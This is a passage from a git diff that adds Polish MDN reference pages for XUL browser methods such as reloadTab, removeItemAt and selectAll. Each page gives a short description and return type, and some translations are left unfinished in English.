+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/reloadAllTabs
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-reloadAllTabs"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadAllTabs">reloadAllTabs()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wczytuje ponownie zawartość wszystkich kart.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/reloadtab/index.html b/files/pl/mozilla/tech/xul/metoda/reloadtab/index.html
new file mode 100644
index 0000000000..c30913845f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/reloadtab/index.html
@@ -0,0 +1,21 @@
+---
+title: reloadTab
+slug: Mozilla/Tech/XUL/Metoda/reloadTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/reloadTab
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-reloadTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadTab">reloadTab( tab )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wczytuje ponownie określona kartę.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/reloadwithflags/index.html b/files/pl/mozilla/tech/xul/metoda/reloadwithflags/index.html
new file mode 100644
index 0000000000..0e5ff91b53
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/reloadwithflags/index.html
@@ -0,0 +1,21 @@
+---
+title: reloadWithFlags
+slug: Mozilla/Tech/XUL/Metoda/reloadWithFlags
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/reloadWithFlags
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags( flags )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce z danymi flagami wczytywania. Można użyć poniższych flag; wszystkie one są stałymi własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/webNavigation">webNavigation</a></span></code> (lub interfejsu <a href="pl/NsIWebNavigation">nsIWebNavigation</a>). Flagi te można łączyć przy użyciu symbolu ( <code>|</code> ).
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_NONE</code>: Bez specjalnych flag. Dokument wczytywany jest normalnie.
+</li><li> <code>LOAD_FLAGS_BYPASS_CACHE</code>: Ponownie wczytuje stronę, bez względu na to, czy strona znajduje się w pamięci podręcznej. Flaga ta jest stosowana, kiedy użytkownik naciśnie przycisk Odśwież przytrzymując wciśnięty klawisz Shift.
+</li><li> <code>LOAD_FLAGS_BYPASS_PROXY</code>: Ponownie wczytuje stronę, ignorując serwery proxy. </li><li> <code>LOAD_FLAGS_CHARSET_CHANGE</code>: Flaga ta jest stosowana, gdy zachodzi konieczność odświeżenia dokumentu, ponieważ zmieniono kodowanie znaków.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/removeallitems/index.html b/files/pl/mozilla/tech/xul/metoda/removeallitems/index.html
new file mode 100644
index 0000000000..94d014b6c1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removeallitems/index.html
@@ -0,0 +1,17 @@
+---
+title: removeAllItems
+slug: Mozilla/Tech/XUL/Metoda/removeAllItems
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeAllItems
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-removeAllItems"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeAllItems">removeAllItems()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Usuwa wszystkie pozycje w <a href="pl/XUL/menu">menu</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/removealltabsbut/index.html b/files/pl/mozilla/tech/xul/metoda/removealltabsbut/index.html
new file mode 100644
index 0000000000..8a9f48ed9e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removealltabsbut/index.html
@@ -0,0 +1,21 @@
+---
+title: removeAllTabsBut
+slug: Mozilla/Tech/XUL/Metoda/removeAllTabsBut
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeAllTabsBut
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeAllTabsBut"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeAllTabsBut">removeAllTabsBut( tabElement )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Usuwa wszystkie panele kart oprócz jednego przesyłanego do określonej karty. Jeśli tylko jedna strona karta jest wyświetlana, to ta metoda nie robi nic.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/removecurrentnotification/index.html b/files/pl/mozilla/tech/xul/metoda/removecurrentnotification/index.html
new file mode 100644
index 0000000000..77d87baa0f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removecurrentnotification/index.html
@@ -0,0 +1,18 @@
+---
+title: removeCurrentNotification
+slug: Mozilla/Tech/XUL/Metoda/removeCurrentNotification
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeCurrentNotification
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeCurrentNotification"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeCurrentNotification">removeCurrentNotification</a></code></span></dt>
+ <dd>
+ Zwraca typ: brak</dd>
+ <dd>
+ Usuwa bieżące powiadomienie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/removecurrenttab/index.html b/files/pl/mozilla/tech/xul/metoda/removecurrenttab/index.html
new file mode 100644
index 0000000000..852ab3b6a5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removecurrenttab/index.html
@@ -0,0 +1,21 @@
+---
+title: removeCurrentTab
+slug: Mozilla/Tech/XUL/Metoda/removeCurrentTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeCurrentTab
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeCurrentTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeCurrentTab">removeCurrentTab()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+ </dd>
+ <dd>
+ Usuwa bieżącą kartę wyświetlonej strony. Jeśli jest to jedyna wyświetlona karta ze stroną, metoda ta nie zostanie wykonana.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/removeitemat/index.html b/files/pl/mozilla/tech/xul/metoda/removeitemat/index.html
new file mode 100644
index 0000000000..31d06b97c3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removeitemat/index.html
@@ -0,0 +1,39 @@
+---
+title: removeItemAt
+slug: Mozilla/Tech/XUL/Metoda/removeItemAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeItemAt
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Usuwa pozycję potomną w elemencie o określonym indeksie. Metoda zwraca usuniętą pozycję.
+</dd></dl>
+<div class="noinclude">
+<pre>&lt;script language="javascript"&gt;
+function removeSelectedItem(){
+
+ var myListBox = document.getElementById('myListBox');
+
+ if(myListBox.selectedIndex == -1){
+ return; // brak zaznaczonych pozycji, więc zwraca
+ }else{
+ myListBox.removeItemAt(myListBox.selectedIndex);
+ }
+}
+&lt;/script&gt;
+
+&lt;button label="Usuń zaznaczoną pozycję" oncommand="removeSelectedItem()"/&gt;
+&lt;listbox id="myListBox"&gt;
+ &lt;listitem label="Alpha"/&gt;
+ &lt;listitem label="Beta"/&gt;
+ &lt;listitem label="Oscar"/&gt;
+ &lt;listitem label="Foxtrot"/&gt;
+&lt;/listbox&gt;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p><a href="pl/XUL/Metoda/removeAllItems">removeAllItems()</a>, <a href="pl/XUL/Metoda/appendItem">appendItem()</a> i <a href="pl/XUL/Metoda/insertItemAt">insertItemAt()</a>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/removeitemfromselection/index.html b/files/pl/mozilla/tech/xul/metoda/removeitemfromselection/index.html
new file mode 100644
index 0000000000..229db2416d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removeitemfromselection/index.html
@@ -0,0 +1,21 @@
+---
+title: removeItemFromSelection
+slug: Mozilla/Tech/XUL/Metoda/removeItemFromSelection
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeItemFromSelection
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeItemFromSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemFromSelection">removeItemFromSelection( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Odznacza określoną pozycję bez odznaczenia pozostałych pozycji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/removenotification/index.html b/files/pl/mozilla/tech/xul/metoda/removenotification/index.html
new file mode 100644
index 0000000000..92cbad10b6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removenotification/index.html
@@ -0,0 +1,21 @@
+---
+title: removeNotification
+slug: Mozilla/Tech/XUL/Metoda/removeNotification
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeNotification
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeNotification"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeNotification">removeNotification( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Usuwa powiadomienie, wyświetla kolejne, jeśli bieżące zostało usunięte.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/removeprogresslistener/index.html b/files/pl/mozilla/tech/xul/metoda/removeprogresslistener/index.html
new file mode 100644
index 0000000000..a92c2c1bbe
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removeprogresslistener/index.html
@@ -0,0 +1,17 @@
+---
+title: removeProgressListener
+slug: Mozilla/Tech/XUL/Metoda/removeProgressListener
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeProgressListener
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-removeProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeProgressListener">removeProgressListener( listener )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Usuwa element nasłuchujący postęp wczytywania z przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/removesession/index.html b/files/pl/mozilla/tech/xul/metoda/removesession/index.html
new file mode 100644
index 0000000000..f8183b40df
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/removesession/index.html
@@ -0,0 +1,21 @@
+---
+title: removeSession
+slug: Mozilla/Tech/XUL/Metoda/removeSession
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/removeSession
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-removeSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeSession">removeSession( session )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ ???</i>
+ </dd>
+ <dd>
+ Usuwa obiekt sesji z widgetu autouzupełniania. Argument powinien być obiektem, który implementuje interfejs <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/replacegroup/index.html b/files/pl/mozilla/tech/xul/metoda/replacegroup/index.html
new file mode 100644
index 0000000000..8246249e10
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/replacegroup/index.html
@@ -0,0 +1,17 @@
+---
+title: replaceGroup
+slug: Mozilla/Tech/XUL/Metoda/replaceGroup
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Method/replaceGroup
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><span id="m-replaceGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/replaceGroup">replaceGroup( group )</a></code></span></dt>
+ <dd><strong><span class="highlightred">Nie w Firefoksie</span></strong></dd>
+ <dd>Zwraca typ:<em>tablica obiektów historii sesji</em></dd>
+ <dd>Zastępuje istniejące karty nowymi ustawieniami. Jeśli tutaj było więcej kart przedtem, dodatkowe karty nie zostaną usunięte. Możemy zastosować metodę <span id="m-removeTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeTab">removeTab</a></code></span>, aby usunąć istniejące pierwsze karty, jeśli if that is desired. The argument should be an array of objects, one for each document to load. The objects may be defined in script and contain a <code>URI</code> property for the URL of the page to load. A <code>referrerURI</code> property may also be optionally used to set the referrer page. This method returns an array of the session history objects for the tabs that were removed.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/reset/index.html b/files/pl/mozilla/tech/xul/metoda/reset/index.html
new file mode 100644
index 0000000000..11b0e9872d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/reset/index.html
@@ -0,0 +1,23 @@
+---
+title: reset
+slug: Mozilla/Tech/XUL/Metoda/reset
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/reset
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-reset"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reset">reset()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przywraca preferencje do domyślnej wartości.</dd>
+ <dd>
+ Dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> jest także wykorzystane do czyszczenia list transakcji (Gecko1.9).</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/rewind/index.html b/files/pl/mozilla/tech/xul/metoda/rewind/index.html
new file mode 100644
index 0000000000..fda3734dca
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/rewind/index.html
@@ -0,0 +1,21 @@
+---
+title: rewind
+slug: Mozilla/Tech/XUL/Metoda/rewind
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/rewind
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-rewind"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/rewind">rewind()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wywołaj tą metodę, aby przejść wstecz na stronie. Jest równoważna naciśnięciu przycisku Wstecz. Własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canRewind">canRewind</a></span></code> musi być ustawiona na <code>true</code> dla strony, która będzie zmieniona. Kod w atrybucie <code id="a-onwizardback"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onwizardback">onwizardback</a></code> jest wywołany przed zmianą strony.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/scrolltoindex/index.html b/files/pl/mozilla/tech/xul/metoda/scrolltoindex/index.html
new file mode 100644
index 0000000000..83e7821d7c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/scrolltoindex/index.html
@@ -0,0 +1,21 @@
+---
+title: scrollToIndex
+slug: Mozilla/Tech/XUL/Metoda/scrollToIndex
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/scrollToIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-scrollToIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/scrollToIndex">scrollToIndex( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przewija element do określonego indeksu. Jest inne niż <span id="m-ensureIndexIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureIndexIsVisible">ensureIndexIsVisible</a></code></span>, ponieważ widok jest zawsze przewijany.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/select/index.html b/files/pl/mozilla/tech/xul/metoda/select/index.html
new file mode 100644
index 0000000000..257b50e80f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/select/index.html
@@ -0,0 +1,21 @@
+---
+title: select
+slug: Mozilla/Tech/XUL/Metoda/select
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/select
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-select"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/select">select()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/selectall/index.html b/files/pl/mozilla/tech/xul/metoda/selectall/index.html
new file mode 100644
index 0000000000..4b6b47fd52
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/selectall/index.html
@@ -0,0 +1,21 @@
+---
+title: selectAll
+slug: Mozilla/Tech/XUL/Metoda/selectAll
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/selectAll
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-selectAll"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectAll">selectAll()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza wszystkie pozycje. Zdarzenie zaznaczenia jest wysyłane po tym, jak zostanie zrobione zaznaczenie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/selectitem/index.html b/files/pl/mozilla/tech/xul/metoda/selectitem/index.html
new file mode 100644
index 0000000000..c7dd5f3bc5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/selectitem/index.html
@@ -0,0 +1,21 @@
+---
+title: selectItem
+slug: Mozilla/Tech/XUL/Metoda/selectItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/selectItem
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-selectItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectItem">selectItem( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Odznacza wszystkie aktualnie zaznaczone pozycje i zaznacza daną pozycję. Zdarzenie zaznaczenia jest wysyłane po wykonaniu zaznaczenia.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/selectitemrange/index.html b/files/pl/mozilla/tech/xul/metoda/selectitemrange/index.html
new file mode 100644
index 0000000000..ba7397ab15
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/selectitemrange/index.html
@@ -0,0 +1,16 @@
+---
+title: selectItemRange
+slug: Mozilla/Tech/XUL/Metoda/selectItemRange
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Method/selectItemRange
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><span id="m-selectItemRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/selectItemRange">selectItemRange( startItem, endItem)</a></code></span></dt>
+ <dd>Zwraca typ:<em>nie zwraca wartości</em></dd>
+ <dd>Zaznaczone pozycje pomiędzy dwoma danymi pozycjami jako argumenty. Wszystkie inne pozycje są odznaczone. Ta metoda does nothing for single-selection list boxes. A select event is sent after the selection is made.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/setselectionrange/index.html b/files/pl/mozilla/tech/xul/metoda/setselectionrange/index.html
new file mode 100644
index 0000000000..2a7bb9bb5e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/setselectionrange/index.html
@@ -0,0 +1,18 @@
+---
+title: setSelectionRange
+slug: Mozilla/Tech/XUL/Metoda/setSelectionRange
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/setSelectionRange
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-setSelectionRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/setSelectionRange">setSelectionRange( start, end )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia zaznaczoną porcję pola tekstowego, gdzie argumentem początkowym <var>start</var> jest pierwszy zaznaczony znak i argument końcowym <var>end</var> jest indeks znaku po zaznaczeniu. Ustawiając oba argumenty na tę samą wartość, pozwoli nam na przesunięcie kursora do przesłanej pozycji bez zaznaczenia tekstu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/showpane/index.html b/files/pl/mozilla/tech/xul/metoda/showpane/index.html
new file mode 100644
index 0000000000..5db138a2bd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/showpane/index.html
@@ -0,0 +1,21 @@
+---
+title: showPane
+slug: Mozilla/Tech/XUL/Metoda/showPane
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/showPane
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane( prefpane )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Włącza specjalne okno.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/sizeto/index.html b/files/pl/mozilla/tech/xul/metoda/sizeto/index.html
new file mode 100644
index 0000000000..aed1a06269
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/sizeto/index.html
@@ -0,0 +1,18 @@
+---
+title: sizeTo
+slug: Mozilla/Tech/XUL/Metoda/sizeTo
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/sizeTo
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-sizeTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/sizeTo">sizeTo( width, height )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zmienia aktualny rozmiar wyskakującego okienka, zostaje nadana nowa szerokość (<var>width</var>) oraz wysokość (<var>height</var>).
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/stop/index.html b/files/pl/mozilla/tech/xul/metoda/stop/index.html
new file mode 100644
index 0000000000..ccd02e566f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/stop/index.html
@@ -0,0 +1,18 @@
+---
+title: stop
+slug: Mozilla/Tech/XUL/Metoda/stop
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/stop
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-stop"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/stop">stop()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
